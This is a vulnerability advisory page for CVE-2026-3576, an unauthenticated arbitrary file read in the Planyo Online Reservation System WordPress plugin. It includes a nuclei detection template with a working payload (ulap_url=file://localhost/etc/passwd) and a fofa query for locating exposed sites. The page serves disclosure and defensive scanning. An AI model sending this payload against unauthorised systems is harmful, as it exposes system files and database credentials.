HexBrain

Browse / CVEs / CVE-2026-3576

CVE-2026-3576· xtreeme / planyo-online-reservation-system· CWE-20

Planyo Online Reservation System <= 3.0 - Arbitrary File Read

highseverity
7.2CVSS score
8.8%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

The Planyo Online Reservation System plugin for WordPress through 3.0 ships ulap.php, an AJAX proxy that is directly reachable without WordPress bootstrapping or authentication. The send_http_post() function validates the host of the supplied URL against an allowlist that includes localhost, but never validates the URL scheme, so a file://localhost/ URL passes the host check and is handed to curl_init() or fopen(). Both support the file:// wrapper, so the contents of arbitrary local files are returned in the response.

Impact

An unauthenticated attacker can read any file readable by the web server, including wp-config.php, which discloses database credentials and WordPress authentication keys.

Fix

Update the Planyo Online Reservation System plugin to version 3.1 or later, which rejects any URL scheme other than http and https.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/readme.txt
Positive when: contains(body, "Planyo online reservation system") and status_code == 200
Send: GET {{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost/etc/passwd
Positive when: contains(content_type, "text/plain") and regex("root:[x*]?:0:0:", body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-3576 -u <target>

The full check
id: CVE-2026-3576

info:
  name: Planyo Online Reservation System <= 3.0 - Arbitrary File Read
  author: aryu-ru
  severity: high
  description: |
    The Planyo Online Reservation System plugin for WordPress through 3.0 ships ulap.php, an AJAX proxy that is directly reachable without WordPress bootstrapping or authentication. The send_http_post() function validates the host of the supplied URL against an allowlist that includes localhost, but never validates the URL scheme, so a file://localhost/ URL passes the host check and is handed to curl_init() or fopen(). Both support the file:// wrapper, so the contents of arbitrary local files are returned in the response.
  impact: |
    An unauthenticated attacker can read any file readable by the web server, including wp-config.php, which discloses database credentials and WordPress authentication keys.
  remediation: |
    Update the Planyo Online Reservation System plugin to version 3.1 or later, which rejects any URL scheme other than http and https.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5038d12a-e119-4ab7-aadc-69b765ae7027?source=cve
    - https://www.exploit-db.com/exploits/52636
    - https://plugins.trac.wordpress.org/browser/planyo-online-reservation-system/trunk/ulap.php#L59
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3576
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-3576
    epss-score: 0.08808
    epss-percentile: 0.95224
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 1
    vendor: xtreeme
    product: planyo-online-reservation-system
    framework: wordpress
    fofa-query: body="/plugins/planyo-online-reservation-system/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,planyo-online-reservation-system,lfi,ssrf

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Planyo online reservation system")'
          - 'status_code == 200'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost/etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/plain")'
          - 'regex("root:[x*]?:0:0:", body)'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from